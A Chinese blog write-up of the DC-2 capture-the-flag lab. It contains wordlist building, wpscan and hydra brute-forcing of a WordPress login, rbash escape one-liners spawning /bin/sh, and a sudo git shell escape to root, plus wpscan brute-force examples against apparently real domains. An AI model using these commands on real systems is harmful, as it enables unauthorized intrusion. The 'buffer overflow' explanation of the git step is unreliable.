zoukankan      html  css  js  c++  java
  • DC-2

    靶机渗透目标:找寻DC-2靶机中最终的flag。(懒狗拖拖拖了好几天才搞完Orz)

    第一步:在网段下使用命令netdiscover去找主机ip

    netdiscover:二层发现工具,拥有主动和被动发现两种方式

    基本用法:

    • -p 被动模式。默默的侦听指定的网卡以发现别的二层主机
    • -t ARP包发送间隔。单位毫秒。这个可以用来规避检测系统的告警。
    • -l file: 指定扫描范围列表文件
    • -p passive mode: 使用被动扫描的方式,不发送任何数据
    • -m file: 扫描已知 mac 地址和主机名的电脑列表
    • -F filter: 指定 pcap 筛选器表达式(默认:“arp”)
    • -s time: 每个 arp 请求之间的睡眠时间(毫秒)
    • -n node: 使用八字节的形式扫描(2 - 253)
    • -c count: 发送 arp 请求的时间次数
    • -f: 使用主动模式的扫描
    • -d: 忽略配置文件
    • -S: 启用每个 arp 请求之间抑制的睡眠时间
    • -P: 打印结果
    • -N: 不打印头。只有启用- p时有效。
    • -L: 将捕获的信息输出(-P),并继续进行扫描

    过程

    netdiscover -r 192.168.191.0 (设置扫描网段为192.168.191.0),好慢

    sudo netdiscover -i eth0 -r 192.168.191.0/24(设置监听的网卡为eth0,设置监听的网段为192.168.191.0,好慢)

    总之是发现了192.168.191.183这台主机 ( ̄︶ ̄*))

    第二步:使用nmap扫描ip的端口

    nmap:太常用了不解释

    (以后更新)

    过程

    确定靶机的ip是192.168.191.183

    接下来发现开放了80端口和7744端口,根据端口信息,可以发现是一个wordpress界面。

    知道靶机开放了80端口后,在浏览器输入ip进行访问,发现无法访问,需要设置hosts文件,之后在浏览器进行访问,界面显示如下,是一个wordpress的界面

    第三步:使用cewl工具破解密码

    cewl:通过爬行网站获取关键信息创建一个密码字典

    命令如下:cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt (1.1.1.1可以是目标网站的ip地址,也可以是网址)

    • -m:最小单词长度
    • -d:爬网深度
    • -e:收集包含emali地址信息
    • -c:每个单词出现的次数
    • 支持基本,摘要,身份验证,支持代理

    过程

    点击页面上的flag,发现了flag1,根据提示用到cewl破解密码。

    百度查到wordpress的后台登录地址:wp-login.php

     使用命令:curl -w dc2_password.txt http://dc-2/,将在指定的url中爬行,将结果输出为一个列表,用-w参数将爬行的结果输出。

    第四步:使用wpscan工具扫描用户名

    WPScan:扫描WordPress网站中本身漏洞、插件漏洞和主题漏洞,不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。

    常用选项

    • --update 更新到最新版本
    • --url -u 要扫描的`WordPress`站点.
    • --force -f 不检查网站运行的是不是`WordPress`
    • --enumerate -e [option(s)] 枚举
    • u 枚举用户名,默认从1-10
    • u[10-20] 枚举用户名,配置从10-20
    • p 枚举插件
    • vp 只枚举有漏洞的插件
    • ap 枚举所有插件,时间较长
    • tt 列举缩略图相关的文件
    • t 枚举主题信息
    • vt 只枚举存在漏洞的主题
    • at 枚举所有主题,时间较长
    • --exclude-content-based 当使用枚举选项时,可以使用该参数做一些过滤,基于正则或者字符串,可以不写正则分隔符,但要用单引号或双引号包裹
    • --config-file -c
    • --user-agent -a
    • --cookie
    • --random-agent -r 使用随机User-Agent
    • --follow-redirection 如果目标包含一个重定向,则直接跟随跳转
    • --batch 无需用户交互,都使用默认行为
    • --no-color 不要采用彩色输出
    • --wp-content-dir
    • --wp-plugins-dir
    • --proxy <[protocol://]host:port设置一个代理,可以使用HTTP、SOCKS4、SOCKS4A、SOCKS5,如果未设置默认是HTTP协议
    • --proxy-auth
    • --basic-auth
    • --wordlist -w
    • --username -U
    • --usernames path-to-file指定爆破用户名字典
    • --threads -t
    • --cache-ttl cache-ttl设置 cache TTL
    • --request-timeout request-timeout请求超时时间
    • --connect-timeout connect-timeout连接超时时间
    • --max-threads max-threads最大线程数
    • --throttle milliseconds当线程数设置为1时,设置两个请求之间的间隔
    • --help -h 输出帮助信息
    • --verbose -v 输出Verbose
    • --version 输出当前版本

    过程

     wpscan其他功能试了一遍,没什么产出,也就爆破用户出了点结果。

     获得用户名:admin,jerry,tom。接着用wpscan也可以爆破出用户名对应的密码:

    cewl http://dc-2/ -w ~/dc2.txt
    # 生成密码
    wpscan --url http://dc-2  --passwords dc2.txt  --usernames user.txt
    # 爆破

    第五步:hydra及cewl爬取的密码字典及自己的用户名字典进行暴力破解

    hydra:hydra破解工具支持多种协议的登录密码

    命令:

    • -R 修复之前使用的aborted/crashed session
    • -S 执行SSL(Secure Socket Layer)连接
    • -s Port 使用非默认服务器端口而是其他端口时,指定其端口
    • -l Login 已经获取登录ID的情况下输入登录ID
    • -L FILE 未获取登录ID情况下指定用于暴力破解的文件(需要指出全路径)
    • -p Pass 已经获取登录密码的情况下输入登录密码
    • -P FILE 未获取登录密码的情况下指定用于暴力破解的文件(需要指出全路径)
    • -x MIN:MAX:CHARSET 暴力破解时不指定文件,而生可以满足指定字符集和最短、最长长度条件的密码来尝试暴力破解
    • -C FILE 用于指定由冒号区分形式的暴力破解专用文件,即ID:Password形式
    • -M FILE指定实施并列攻击的文件服务器的目录文件
    • -o FILE以STDOUT的形式输出结果值
    • -f 查找到第一个可以使用的ID和密码的时候停止破解
    • -t TASKS 指定并列连接数(默认值:16)
    • -w 指定每个线程的回应时间(Waittime)(默认值:32秒)
    • -4/6 指定IPv4/IPv6(默认值:IPv4)
    • -v/-V 显示详细信息
    • -U 查看服务器组件使用明细
    • 破解ssh的密码:hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh
    • 破解https:hydra -m /index.php -l username -P pass.txt IP https
    • 破解teamspeak:hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
    • 破解cisco:hydra -P pass.txt IP cisco
      • hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
    • 破解smb:hydra -l administrator -P pass.txt IP smb
    • 破解pop3:hydra -l muts -P pass.txt my.pop3.mail pop3
    • 破解rdp:hydra IP rdp -l administrator -P pass.txt -V
    • 破解http-proxy:hydra -l admin -P pass.txt http-proxy://10.36.16.18
    • 破解telnet:hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
    • 破解ftp:hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
      • hydra IP ftp -l 用户名 -P 密码字典 -e ns -vV
    • get方式提交,破解web登录:hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/
      • hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.php
    • post方式提交,破解web登录:hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form"/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorrypassword
      • hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form"login.php:id=^USER^&passwd=^PASS^:<title>wrong username orpassword</title>"

    过程

    hydra -L user.txt  -P dc2.txt  dc-2 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

    引号里面的数据格式解析:

    • /wp-login.php: 代表请求目录
    • : 分隔参数
    • ^USER^和^PASS^:攻击载荷
    • S:密码正确时返回应用的关键字符串

    分别使用这两个用户名进行登录。成功后,后台界面管理中,找到了有个发布信息的地方,发现了flag和flag2,将flag2打开查看里面的信息,大致意思是如果无法利用wordpress,还有另一个切入点。(好惨,我手里的这个dc-2压根没有这一条hint)用tom登录,用vi命令可以看到flag3.txt

    tom的权限不足,有很多的命令都被禁用了,看了一下提示,应该是要进行提权,提示先用jerry账号登录

    输入exit退出tom,用jerry登录发现了flag4.txt

    PS:rbash绕过做法

    rbash(restricted bash),即受限制的 bash。其可以用作中转服务器,或者仅使用 ssh 来访问网页等等。rbash就是受限制的bash,一般管理员会限制很多命令,例如whoami cd cat等很多常用的命令,不过肯定会有命令可以使用,

    我们可以查看$PATH有哪些:echo $PATH

    绕过方法:

    1.
    vi test
    :!/bin/sh
    
    2.
    ed
    
    3.
    ne
    
    4. 
    more less
    more test 
    !'sh'
    
    5.
    man ls
    操作同more less
    
    6.find
    /usr/bin/find /etc/passwd  -exec whoami ;
    /usr/bin/find /etc/passwd  -exec /bin/sh ;
    
    7.nmap
    低版本
    
    8.
    awk 'BEGIN {system("/bin/sh")}'
    
    9.
    python -c "import os;os.system('whoami')"
    python -c "import os;os.system('/bin/sh')"
    python -c "import pty;pty.spawn('/bin/sh')"
    
    10.
    BASH_CMDS[a]=/bin/sh;a
    export PATH = $PATH:/bin/
    ​export PATH=$PATH:/usr/bin

    第六步:git提权

    命令原理是git存在缓冲区溢出漏洞,在使用以下命令时,不需要输入root密码即可以root权限执行这两条命令:

    sudo git help config
    !/bin/bash 或者 !'sh'完成提权
    
    sudo git -p help
    !/bin/bash

    过程

    根据flag4.txt文件信息,使用git提权。第一个方法成功。

    终于在/root里面得到最后的flag

    参考

    https://www.freebuf.com/articles/es/208918.html

    https://www.freebuf.com/articles/web/244182.html

    https://www.cnblogs.com/zaqzzz/p/12075132.html(Linux提权)

    后记

    什么是Wpscan

    该扫描器可以实现获取Wordpress站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。同时还可以实现对未加防护的Wordpress站点暴力破解用户名密码。

    使用参数

    扫描WordPress漏洞:wpscan --url http://www.xxxxx.top/
    扫描wordpress用户:wpscan --url https://adywhisper.com/ --enumerate u

    扫描主题:wpscan --url http://www.xxxxx.top/ --enumerate t

    在这里插入图片描述

    扫描主题中的漏洞:wpscan --url http://www.xxxxx.top/ --enumerate vt

    扫描插件漏洞:wpscan --url https://adywhisper.com/ --enumerate p 

    扫描插件中的漏洞:wpscan --url http://www.xxxxx.top/ --enumerate vp

    暴力破解:wpscan --url https://www.xxxxx.top/ -e u --wordlist /root/桌面/password.txt

    参考:https://www.freebuf.com/sectool/174663.html,根据参考可以结合msf进一步st但是没欸有找到合适的站点验证(⌐■_■)

  • 相关阅读:
    C#深入浅出 修饰符(二)
    HDU 5785 Interesting
    HDU 5783 Divide the Sequence
    HDU 5781 ATM Mechine
    UVA 714 Copying Books
    uva 1471 Defense Lines
    UVA 11134 Fabled Rooks
    UVA 11572 Unique Snowflakes
    UVA 11093 Just Finish it up
    UVA 10954 Add All
  • 原文地址:https://www.cnblogs.com/chrysanthemum/p/14990550.html
Copyright © 2011-2022 走看看